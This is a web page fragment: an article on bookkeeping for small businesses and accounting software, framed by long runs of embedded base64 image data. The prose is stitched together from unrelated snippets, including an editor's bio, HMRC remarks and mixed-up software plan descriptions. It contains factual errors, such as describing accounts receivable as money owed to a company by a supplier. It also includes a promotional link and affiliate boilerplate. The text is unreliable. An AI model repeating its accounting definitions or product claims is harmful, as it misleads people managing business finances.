v4mMNwlbYHJrJKkpeI4K0qUn0rkgWNS9sNJZpqpsilVBCUIanIZilTi3S4m7iVFgAJ0ldxYdAACfSFfTe7k0LpE2ZZXp1RbqlMj8jkNvGQVR2WUa1kL4qs36i64eFuKjh1OzvLSFhxEbSsNhkKDbQUEBwuab6L21kq+04gJdH2goqc5+nv0tcKS8XWGlsKQ4ymxSEaiysEWSg+iLLWonUE6VtVKl7UVsRmqQ/QW3A4lch2RFUslJQoKQkJYANl6Dq4FQ1CyTY4xz3hJla6ltp2TKNSmkM09G5S1IelN2YZJQ86srdWklFwpS1FRI6SScBJ2Z5VQEJREsEOl9NkN8HCvWV+j06zqv7cVqdQNprkGlim1KmR5aJEk1FTkcuJcYUpZaCPiANSbt/wp6COPr7TKPtVRHR8Kz6It0TwohuGSDD1C6SrcC7gSLcAAbno4W1NlU1n5Ely1tk9N2WZSqLz8x6JplyAsKkpZZ3g17zUQSg2uXXT/8ANXtwZ/4+y9uX4+6Vu5L6JLo0N891B1JWTp9IH14i8g0zNkCNU/7/AK4U99+YhyFySNdLMcRmUKQfikcS8h9fQeDg6OgWnd03sv8A6v6YrUMSQZ2ZZSMpU4wEcoWbqd3TWon4ziTo6fjneP8AWr249w9m2VafUk1iFBQzNRq0yEsta06ismx0cLl1w/atR9eJnd03sv8A6v6YW7pvZf8A1f0wd8jBXHNkWRHYbsBdEjGO8pSnG+TM2WVJcSonmcbh94H2hxXtw6vZZkxxMpC6RHUma1uJCTGZs63qcVpUNHEannTb+tXtxKVCpZZpKWV1VMWGmS8mMyZDaWw46q+ltOq11GxsBxNsDrzHkluOzLcm01LEhBcZdUWwhxIIBUk9BAJAuPWRgny4sGubJ5/8f5d3SGOTJDbcdcRCQy0AllenUgczoOhPD+kYj42yPIkV+NIj0SM25BQluMoRmbtJG7sE8zh+5a/An2YlBX8mFsOiTTtBkckCuZYv21bq/wA+3HT02wzVUxK5lqSrLTbK3J0TVDktJKW1BabpWlxCVWBBuFJB6bj24y/dpxgqG39m2WpkxyoTmVSpLi9RdebaUr09YTfR0BXED1HDFX2U5Rrai7PiFbxWpe+3TWsFSVJVYlHC6XHEn6lq6L4pOXl5ji1NVOqVYoE+XDnJWmG3VlqfsICU8mW2WRcl1txznEmyirpGAocLNqZZenbQ6BMj2kKUht8sawuoKLJFkK0BCVIb4E6lJ3R4HVizyuFp+N7QiVO96GlJ2e5egb6RAbVFU6S48GWmUB4gO2CwEcQC84QPaq+GntlmUnlxyqJZEaSZiWktNBtT9kAOKTo4qG6bsfVpHsxBMxBJr5dqdQhsPtzypMGNUHnOaIl1NFrShJOoJXpKSAi6hYqJN83dN7L/AOr+mKsWJqQ8nZvlWYgNyoDToS4p1OuOySlSkKQqx0cLpWsW6LKOBTspyo3TF0qnsKgNKS0EKjMsJU0WggNFN2yLpDaLXBHNHDFi3dN7L/6v6YW7pvZf/V/TAFZ/8TZNBjMKghaosdtpp1xppa0htDaEG6kG6gltsXPHmj2YOibOcuQ4ghttKUjdstqK22ipYaFkXOj1C/3n24lS3Tt+P2Zw0H/C/WPqx73dN7L/AOr+mDu5YIFGyzJbcJynN0eMiK6rWtlMVgIUq6TcjR03Sn7hh/8A8d5Z5NyLkiCxvW3t2WWtOtBuhVtHCx4jEvu6b2X/ANX9MLd03sv/AKv6YQCIayHQXdEtbSi8oNKKt23e6EaEfwepPDCibO8uQYxhQ2VNR1REwFNJS3oVHSlSUtEabFIC1gD6ziTjIpvJ2r0y/MH+F+r7MObum9l/9X9MIEkM5s3ys66X1wkFwjSVblq9tCkfM+atQ+xR9uGGdmuU6ZUIc+BTmmZLbrmh1DDIUjWhRXY6OFz0/biwbum9l/8AV/TDL6KdvY9qZ/NN/kv9CvqwgEM7stym89HdciXEXQWm901oSpDinG1gaOCkrWsgjo1qw4/syyjJTDRIprTqaegNxQuOydykEmyeZw4kn/fE3u6b2X/1f0wt3Tey/wDq/pgCB/8AFuUUodTHgpjl5KkrWyyyhRSrWFC4R6w44D9Szh8ZJok1E9ElsrE113lN2mvjdWjVq5nG+7bv7dIxL7um9l/9X9MMRW6dZ29Mv8ar/C/pgCOc2cZYdKy5GuVhxKvi2+IWOeDzeg8eH1nEzHpSojSWI9SlIbT0JCWuH5Mc3dN7L/6v6YW7pvZf/V/TAHmprn/Bsu8aOBuHL/Hq+af6ME66h1WP79XkwPU4TQpss63+DDnS+v5p+vBPImfpJHeF+OAOa6h1WP79XkwtdQ6rH9+ryY7yJn6SR3hfjhciZ+kkd4X44Ao20CnU+t1OnUyuUt2UooceYRHnlkNFPNU8VEJuUpWUgcfTPA9IqtOzTkhFehZnjVio1KU2lqE0OUAtLKSpKLhLYSVBMo8b9CuPEHGpS6FSqjUEN1CKJKWm0uth5Sl6FgkBQueBsTx+vDLOQ8nx1uuMZfiIU8AldkdIFuFvZwHD6hiReQ7kJG2r0qo0lVZo8UT4yHltFTL1/QbDi1Dm8QAfVxvhUza9lqszG4VNfZkLcVoCm3FKQDqbSLqCLcS80P8A5i9rG1iTlDLSIgp6KNGTFC94GAmzYXa2rT0Xt68djZTy7DVriUlhhROq7Y0m90m/D13Sn8I9gxVm4Kkds1HcyijOUKmSZUNQSd22Fl0Atld9IR6glQPquP8AfDx2y5V3b7qH0OIjviKtSN4RvS4GwgHRYkqP2CxvaxxaGcq5fjxVwY9LZajOAhTKLpQoadPFI4Hm8Ps4YaVkrKq3nJC6JHU46kJWVAnUNWro6PS4/bb2DDUHjL2aBmeMubS4iSwkp0rccUjeJUgLSpIKL2KVA8QMSuuodVj+/V5MNsUenxQRGaWzcAHduqTcAWHQfUMO8iZ+kkd4X44IHNdQ6rH9+ryYWuodVj+/V5Md5Ez9JI7wvxwuRM/SSO8L8cAc11Dqsf36vJha6h1WP79Xkx3kTP0kjvC/HC5Ez9JI7wvxwBzXUOqx/fq8mFrqHVY/v1eTHeRM/SSO8L8cLkTP0kjvC/HAHlK6hpHyWP79Xkx3XUOqx/fq8mEmEzYfGSO8L8cd5Ez9JI7wvxwBzXUOqx/fq8mFrqHVY/v1eTHeRM/SSO8L8cLkTP0kjvC/HAFdzpkxvPMWmxKq0ltFMqTNSbLUixUtvUNJJbNkqSpSVWsSlRF7EgxMzZVFqEeNGnzpz6Ya0OMKXPJUFIdbdSVEt88hxvVx9pHRi8ciZ+kkd4X44XImfpJHeF+OJC5lVqhpBT4uzWJCiQIUZx5LNLW2YgVJSrdJQnShAu1xAHrPO+vBVGpeaMo0WnZXy/SKZNgUqIzDYem1dbTxQ2kJSFBEUpNkgC9+NuOLNyJn6SR3hfjjghM3PxkjvC/HBUqmyK22YFTl1GRtJzNGh0BEerLrDan2/wC8C0MNvGHdLqGhEupBCAoqIOpSE3J02xGtz48CvtF3KS26ozCeWlT9deBbaMpKHArXCFid4kcR6LidPEpON8OScqKkypiqHGMiaorkOlPPdUUaCVK6SdPD7MOpylltCSlFIjpBAFgLCwXrH5+d9vHpxHTLb3p9v86Bvfr9/wDeplMN2uHNbG6y5H3jFZXvHPhpWlbxiOJU4EqhJK06N96JHOTa9gANk11Dqsf36vJgQZfpENl1USGGCRqJbUpNyEaQeB9SeH2cMGciZ+kkd4X44tKilIjcs5rqHVY/v1eTC11Dqsf36vJjvImfpJHeF+OFyJn6SR3hfjigbK6hv0/JY/oH+er2j+jHvXUOqx/fq8mPBhM79I3j/oH+ev2j68OciZ+kkd4X44A5rqHVY/v1eTC11Dqsf36vJjvImfpJHeF+OFyJn6SR3hfjgBqMuocnatFj+gP56vZ/ow5rqHVY/v1eTHiNCZMdr4x/0B/PX7Ptw5yJn6SR3hfjgDmuodVj+/V5MMyF1Dexrxo/70/z1fMV/Rh/kTP0kjvC/HDMiEzvY3xj/F0/z1/MV9eAHddQ6rH9+ryYWuodVj+/V5Md5Ez9JI7wvxwuRM/SSO8L8cAc11Dqsf36vJhiIuoWetGj/vVfz1eTBHImfpJHeF+OGIkJoh74x/8Aeq/nr8cAPa6h1WP79XkwtdQ6rH9+ryY7yJn6SR3hfjhciZ+kkd4X44A//9k=" width="250px" alt="bookkeeping small business"/></p>
<p>Accounts payable is the money that’s owed by a company to a supplier, and it will be shown as a liability on a company’s balance sheet. For example, a gym who buys sports equipment on credit will have accounts payable for the sports equipment. If you’re a new business however, you may not need the extra services that come with an accountant, which makes bookkeeping a good option for you. If you agree with the following statements, you need bookkeeping.</p>
<ul>
<li>Plus, take advantage of the eSignature feature to seamlessly and securely send information to our accounting experts.</li>
<li>Zoho Books &#8211; Zoho is an easy-to-use option that helps you manage your cash flow and finances and even accept payments online and create balance sheets.</li>
<li>Certified Public Accountants do a lot more than just bookkeeping and taxes.</li>
<li>Before joining the team, she was a Content Producer at Fit Small Business where she served as an editor and strategist covering small business marketing content.</li>
<li>Remember, the Golden Rule says these business expenses should appear in your business bank account.</li>
</ul>
<p>Remember that each transaction is assigned to a specific account that is later posted to the general ledger. Posting debits and credits to the correct accounts makes reporting more accurate. Take a look at the following four steps to manage your bookkeeping. Accounts receivable is the money that is owed to  a company by a supplier, and are generally noted as an invoice that has been ordered, but has not been paid for. Typically, these invoices are paid within an agreed-upon time frame.</p>
<h2 id="toc-0">Who Can Benefit from Using Accounting and Bookkeeping Software?</h2>
<p>From there, the total pay is determined with the applicable taxes and withholdings. In the accounting software, the primary journal entry for total payroll is a debit to the compensation account and credits cash. The user interface of FreshBooks is easy to understand and visually pleasing.</p>
<p>The reviews here should help you evaluate your options and select the software that is best suited to your business needs. Kashoo ($30 per month) is an advanced accounting program for medium and large businesses with all the features of the other plans plus inventory, payroll, and advanced reporting. Trulysmall Invoices is  their free plan, which offers the ability to send invoices, track payments, and send estimates. Finally, the Team plan is $36 per month and allows you to send recurring invoices, track employees&#8217; time, and generate advanced reports. You can also use it to send estimates, track expenses, and monitor employee timesheets.</p>
<h2 id="toc-1">How to Do Bookkeeping for Small Businesses (2023 Guide)</h2>
<p>By managing transactions and reconciliation avoids financial issues later on. Ensures that you’re not personally held liable for any debts or issues related to your business. Many or all of the products featured here are from our partners who compensate us. This influences which products we write about and where and how the product appears on a page. Here is a list of our partners and here&#8217;s how we make money.</p>
<ul>
<li>Remember to pay bills frequently—on a weekly basis is ideal.</li>
<li>Be sure to compare your actual results to your forecasted cash flows.</li>
<li>Now, it’s time to decide how much of the work you’ll do yourself.</li>
<li>This is something to keep in mind if you need to limit how much you spend.</li>
</ul>
<p>This includes business expenses, payments, deposits, invoices, receipts, credits, and more. Finance Pal is very affordable for <a href="https://kelleysbookkeeping.com/">https://kelleysbookkeeping.com/</a> what they do and I get a lot for my money. They are large so they have a lot of resources to get things done in a timely way.</p>
<h2 id="toc-2">Tips to Small-Business Bookkeeping and Accounting</h2>
<p>The 9 Best Self-Employed Accounting Software of 2023 We looked at the 20 most popular accounting software and assessed them by price, plan,&#8230; Proper bookkeeping helps you stay on top of your business&#8217;s finances—enabling you to make wise financial choices that can help  you grow your business. Make sure you record your sales accurately and on time so that you know where your business stands. Remember, it’s to help both your business grow and stop HMRC from kicking up a fuss. All of the products your business has in stock (whether they’re sitting at the back or still sat on the shelf) need to be carefully tracked and accounted for.</p>
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